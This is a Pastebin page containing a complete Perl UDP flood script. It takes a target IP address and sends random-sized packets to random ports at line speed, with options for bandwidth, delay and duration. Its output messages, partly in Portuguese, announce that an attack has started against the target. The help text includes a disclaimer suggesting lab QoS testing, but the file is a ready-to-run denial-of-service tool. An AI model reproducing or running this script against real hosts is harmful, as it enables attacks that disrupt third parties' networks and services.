Advertisement
Bigu2208

update

May 21st, 2020 (edited)
201
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JSON 3.10 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #####################################################
  3. # udp flood.
  4. ######################################################
  5.  
  6. use Socket;
  7. use strict;
  8. use Getopt::Long;
  9. use Time::HiRes qw( usleep gettimeofday ) ;
  10.  
  11. our $port = 0;
  12. our $size = 0;
  13. our $time = 0;
  14. our $bw   = 0;
  15. our $help = 0;
  16. our $delay= 0;
  17.  
  18. GetOptions(
  19.         "port=i" => \$port,             # UDP port to use, numeric, 0=random
  20.         "size=i" => \$size,             # packet size, number, 0=random
  21.         "bandwidth=i" => \$bw,          # bandwidth to consume
  22.         "time=i" => \$time,             # time to run
  23.         "delay=f"=> \$delay,            # inter-packet delay
  24.         "help|?" => \$help);            # help
  25.        
  26.  
  27. my ($ip) = @ARGV;
  28.  
  29. if ($help || !$ip) {
  30.   print <<'EOL';
  31. flood.pl --port=dst-port --size=pkt-size --time=secs
  32.          --bandwidth=kbps --delay=msec ip-address
  33.  
  34. Defaults:
  35.   * random destination UDP ports are used unless --port is specified
  36.   * random-sized packets are sent unless --size or --bandwidth is specified
  37.   * flood is continuous unless --time is specified
  38.   * flood is sent at line speed unless --bandwidth or --delay is specified
  39.  
  40. Usage guidelines:
  41.   --size parameter is ignored if both the --bandwidth and the --delay
  42.     parameters are specified.
  43.  
  44.   Packet size is set to 256 bytes if the --bandwidth parameter is used
  45.     without the --size parameter
  46.  
  47.   The specified packet size is the size of the IP datagram (including IP and
  48.   UDP headers). Interface packet sizes might vary due to layer-2 encapsulation.
  49.  
  50. Warnings and Disclaimers:
  51.   Flooding third-party hosts or networks is commonly considered a criminal activity.
  52.   Flooding your own hosts or networks is usually a bad idea
  53.   Higher-performace flooding solutions should be used for stress/performance tests
  54.   Use primarily in lab environments for QoS tests
  55. EOL
  56.   exit(1);
  57. }
  58.  
  59. if ($bw && $delay) {
  60.   print "WARNING: computed packet size overwrites the --size parameter ignored\n";
  61.   $size = int($bw * $delay / 8);
  62. } elsif ($bw) {
  63.   $delay = (8 * $size) / $bw;
  64. }
  65.  
  66. $size = 256 if $bw && !$size;
  67.  
  68. ($bw = int($size / $delay * 8)) if ($delay && $size);
  69.  
  70. my ($iaddr,$endtime,$psize,$pport);
  71. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  72. $endtime = time() + ($time ? $time : 1000000);
  73. socket(flood, PF_INET, SOCK_DGRAM, 17);
  74. print "O Ataque foi iniciado !\n";
  75. print "Atacando $ip " . ($port ? $port : "") . "" .
  76.   ($size ? "$size-byte" : "com pacotes de tamanho") . " aleatorios " . ($time ? " por $time seconds" : "") . "\n";
  77. print "Interpacket delay $delay msec\n" if $delay;
  78. print "total IP bandwidth $bw kbps\n" if $bw;
  79. print "Parar ataque, aperte Ctrl-C\n" unless $time;
  80. print "http://www.youtube.com/showertfm\n";
  81.  
  82. die "Invalid packet size requested: $size\n" if $size && ($size < 64 || $size > 1500);
  83. $size -= 28 if $size;
  84. for (;time() <= $endtime;) {
  85.   $psize = $size ? $size : int(rand(1024-64)+64) ;
  86.   $pport = $port ? $port : int(rand(65500))+1;
  87.  
  88.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  89.   usleep(1000 * $delay) if $delay;
  90. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement